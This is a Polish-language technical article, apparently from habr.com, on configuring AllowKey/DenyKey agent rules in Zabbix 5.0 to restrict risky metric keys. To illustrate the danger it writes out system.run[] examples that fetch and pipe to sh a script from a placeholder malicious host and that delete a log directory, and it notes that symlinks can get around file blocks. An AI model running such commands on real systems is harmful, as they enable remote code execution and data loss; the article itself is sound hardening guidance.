🥇Wsparcie czarnych i białych list dla metryk po stronie agenta w Zabbix 5.0

Wsparcie dla czarnych i białych list metryk po stronie agenta

Tichon Uskow, Inżynier integracji, Zabbix

Problemy z bezpieczeństwem danych

W Zabbix 5.0 wprowadzono nową funkcję, która pozwala poprawić bezpieczeństwo w systemach z użyciem agenta Zabbix i zastępuje stary parametr EnableRemoteCommands.

Udoskonalenie bezpieczeństwa systemów z użyciem agenta wynika z faktu, że agent może wykonywać wiele potencjalnie niebezpiecznych działań.

Agent może zbierać praktycznie wszelkie informacje, w tym te poufne lub potencjalnie niebezpieczne, z plików konfiguracyjnych, plików dzienników, plików z hasłami lub innych plików.

Na przykład, za pomocą narzędzia zabbix_get można uzyskać dostęp do listy użytkowników, ich katalogów domowych, plików z hasłami itd.

Dostęp do danych za pomocą narzędzia zabbix_get

UWAGA. Dane można uzyskać tylko wtedy, gdy agent ma prawa do odczytu odpowiedniego pliku. Ale na przykład plik /etc/passwd/ jest dostępny do odczytu dla wszystkich użytkowników.

Agent może również wykonywać potencjalnie niebezpieczne polecenia. Na przykład, klucz *system.run[]** pozwala na wykonywanie wszelkich zdalnych poleceń na węzłach sieci, w tym uruchamianie w interfejsie webowym Zabbix skryptów, które również wykonują polecenia po stronie agenta.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

W systemie Linux agent domyślnie uruchamiany jest bez przywilejów administratora, natomiast w systemie Windows działa jako usługa na koncie System i ma nieograniczony dostęp do systemu plików. W związku z tym, jeśli po instalacji w ustawieniach agenta Zabbix nie wprowadzone zostały zmiany, agent ma dostęp do rejestru, systemu plików i może wykonywać zapytania WMI.

W wcześniejszych wersjach parametr EnableRemoteCommands=0 pozwalał jedynie na wyłączenie metryk z kluczem *system.run[]** i wykonywania skryptów z interfejsu webowego, ale tym samym nie było możliwości ograniczenia dostępu do poszczególnych plików, zezwolenia lub zakazu poszczególnych kluczy, które były ustawiane razem z agentem, lub ograniczenia użycia pojedynczych parametrów.

Zastosowanie parametru EnableRemoteCommand w wcześniejszych wersjach Zabbix

AllowKey/DenyKey

Zabbix 5.0 pomaga zabezpieczyć się przed takim nieautoryzowanym dostępem dzięki białym i czarnym listom do zezwolenia i zakazu metryk po stronie agenta.

W Zabbix 5.0 wszystkie klucze, w tym *system.run[]**, są dozwolone, a także dodano dwa nowe parametry konfiguracyjne agenta:

AllowKey= — dozwolone kontrole;

DenyKey= — zabronione kontrole;

gdzie — wzór nazwy klucza z parametrami, w którym używane są znaki specjalne (*).

Klucze AllowKey i DenyKey pozwalają na zezwolenie lub zablokowanie pojedynczych metryk według określonego wzoru. W przeciwieństwie do innych parametrów konfiguracyjnych, liczba parametrów AllowKey/DenyKey nie jest ograniczona. Umożliwia to dokładne określenie, co agent może robić w systemie dzięki stworzeniu drzewa kontroli — wykonywanych kluczy, w którym bardzo ważną rolę odgrywa kolejność ich zapisu.

Sekwencja reguł

Reguły są sprawdzane w takiej kolejności, w jakiej zostały wprowadzone do pliku konfiguracyjnego. Sprawdzenie klucza według reguł odbywa się do pierwszego dopasowania, a gdy tylko klucz elementu danych zgadza się z wzorem, jest zezwalany lub blokowany. Po tym sprawdzenie reguł zostaje zatrzymane, a pozostałe klucze są ignorowane.

Dlatego jeśli element pasuje zarówno do reguły zezwalającej, jak i zabraniającej, wynik będzie zależny od tego, która reguła znajdzie się pierwsza w pliku konfiguracyjnym.

2 różne reguły z tym samym wzorem i kluczem vfs.file.size[/tmp/file]

Kolejność użycia kluczy AllowKey/DenyKey:

reguły dokładne,
reguły ogólne,
reguła zakazująca.

Na przykład, jeśli potrzebujesz dostępu do plików w określonym folderze, musisz najpierw zezwolić na dostęp do nich, a następnie zabronić wszystkiego innego, co nie podlega ustalonym zezwoleniom. Jeśli najpierw zostanie użyta reguła zakazująca, dostęp do folderu będzie zablokowany.

Poprawna sekwencja

Jeśli konieczne jest zezwolenie na uruchomienie 2 narzędzi przez *system.run[]**, a jako pierwsza zostanie podana reguła zakazująca, narzędzia nie będą się uruchamiać, ponieważ pierwszy wzór będzie zawsze odpowiadał dowolnemu kluczowi, a kolejny reguły będą ignorowane.

Niepoprawna sekwencja

Wzory

Podstawowe zasady

Wzór — wyrażenie z symbolami wieloznacznymi (wildcard). Znak specjalny (*) odpowiada dowolnej liczbie dowolnych znaków w określonej pozycji. Znaki specjalne mogą być używane zarówno w nazwie klucza, jak i w parametrach. Na przykład, można sztywno określić tekstem pierwszy parametr, a następny wskazać jako wildcard.

Parametry muszą być umieszczone w nawiasach kwadratowych [].

system.run[* — niepoprawnie
vfs.file*.txt] — niepoprawnie
vfs.file.*[*] — poprawny

Przykłady zastosowania wildcard.

W nazwie klucza i w parametrach. W tym przypadku klucz nie odpowiada analogicznemu kluczowi, który nie zawiera parametru, ponieważ w wzorze określiliśmy, że chcemy uzyskać pewne zakończenie nazwy klucza oraz pewny zestaw parametrów.
Jeśli w wzorze nie użyto nawiasów kwadratowych, wzór zezwala na wszystkie klucze, które nie zawierają parametrów i zabrania wszystkich kluczy z określonym parametrem.
Jeśli klucz jest zapisany w całości, a parametry określono jako wildcard, będzie on odpowiadał dowolnemu analogicznemu kluczowi z dowolnymi parametrami i nie będzie odpowiadał kluczowi bez nawiasów kwadratowych, tj. będzie dozwolony lub zabroniony.

Zasady wypełniania parametrów.

Jeśli zakłada się użycie klucza z parametrami, parametry muszą być wpisane w pliku konfiguracyjnym. Parametry powinny być określone jako metaznak. Należy ostrożnie zabraniać dostępu do jakiegokolwiek pliku i uwzględnić, jakie informacje może zwracać metryka przy różnych wariantach zapisu — z parametrami i bez nich.

Cechy zapisu kluczy z parametrami

Jeśli klucz został określony z parametrami, ale parametry są opcjonalne i określone jako metaznak, klucz bez parametrów będzie dozwolony. Na przykład, jeśli chcesz zabronić uzyskiwania informacji o obciążeniu CPU i określasz, że klucz system.cpu.load[*] powinien być zabroniony, nie zapomnij, że klucz bez parametrów zwróci średnią wartość obciążenia.

Zasady wypełniania parametrów

Notatki

Konfiguracja

Niektóre zasady nie mogą być zmieniane przez użytkownika, na przykład zasady odkrywania (discovery) lub automatycznej rejestracji agentów. Zasady AllowKey/DenyKey nie dotyczą następujących parametrów:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem

UWAGA. Jeśli administrator zabrania jakiegoś klucza, Zabbix nie podaje informacji o tym, dlaczego metryka lub klucz trafiają do kategorii ‘NOTSUPPORTED‘. W plikach logów agenta informacje o zakazach wykonywania zdalnych poleceń również nie są wyświetlane. Zostało to zrobione z względów bezpieczeństwa, ale może utrudnić debugowanie, jeśli metryki trafiają do kategorii nieobsługiwanej z jakichkolwiek powodów..

Nie należy polegać na jakiejkolwiek określonej kolejności ładowania zewnętrznych plików konfiguracyjnych (na przykład w porządku alfabetycznym).

Narzędzia wiersza poleceń

Po skonfigurowaniu reguł należy upewnić się, że wszystko zostało poprawnie ustawione.

Można skorzystać z jednego z trzech wariantów:

Dodaj metrykę do Zabbix.
Przetestuj za pomocą zabbix_agentd. Agent Zabbix z opcją -print (-p) pokazuje wszystkie klucze (które są domyślnie dozwolone), z wyjątkiem tych, które są zablokowane przez konfigurację. Z opcją -test (-t) dla zablokowanego klucza zwróci ‘Unsupported item key‘.
Przetestuj za pomocą zabbix_get. Narzędzie zabbix_get z opcją -k zwróci ‘ZBX_NOTSUPPORTED: Unknown metric‘.

Zezwól lub zablokuj

Możesz zablokować dostęp do pliku i upewnić się, na przykład, za pomocą narzędzia zabbix_get, że dostęp do pliku jest zablokowany.

UWAGA. Cytaty w parametrze są ignorowane.

Jednak dostęp do takiego pliku może być dozwolony inną drogą. Na przykład, jeśli prowadzi do niego symlink.

Zaleca się testowanie różnych wariantów zastosowania ustalonych reguł oraz uwzględnienie możliwości obejścia blokad.

Pytania i odpowiedzi

Pytanie. Dlaczego do opisu reguł, uprawnień i blokad wybrano tak skomplikowany schemat wzorców z własnym językiem? Dlaczego nie można było skorzystać, na przykład, z wyrażeń regularnych, które używa Zabbix?

Odpowiedź. To kwestia wydajności regex, ponieważ agent zazwyczaj jest jeden i sprawdza ogromną ilość metryk. Regex to operacja dość obciążająca, a my nie możemy sprawdzać tysięcy metryk w ten sposób. Wildcardy to uniwersalne, szeroko stosowane i proste rozwiązanie..

Pytanie. Czy pliki Include są podłączane w porządku alfabetycznym?

Odpowiedź. O ile mi wiadomo, przewidzenie kolejności stosowania reguł, jeśli rozrzucasz je po różnych plikach, jest w praktyce niemożliwe. Rekomenduję zebranie wszystkich reguł AllowKey/DenyKey w jednym pliku Include, ponieważ współdziałają ze sobą, i podłączenie tego pliku..

Pytanie. W Zabbix 5.0 opcja ‘EnableRemoteCommands=‘ w pliku konfiguracyjnym jest nieobecna, a dostępne są tylko AllowKey/DenyKey?

Odpowiedź. Tak, zgadza się..

Dziękuję za uwagę!

Źródło: habr.com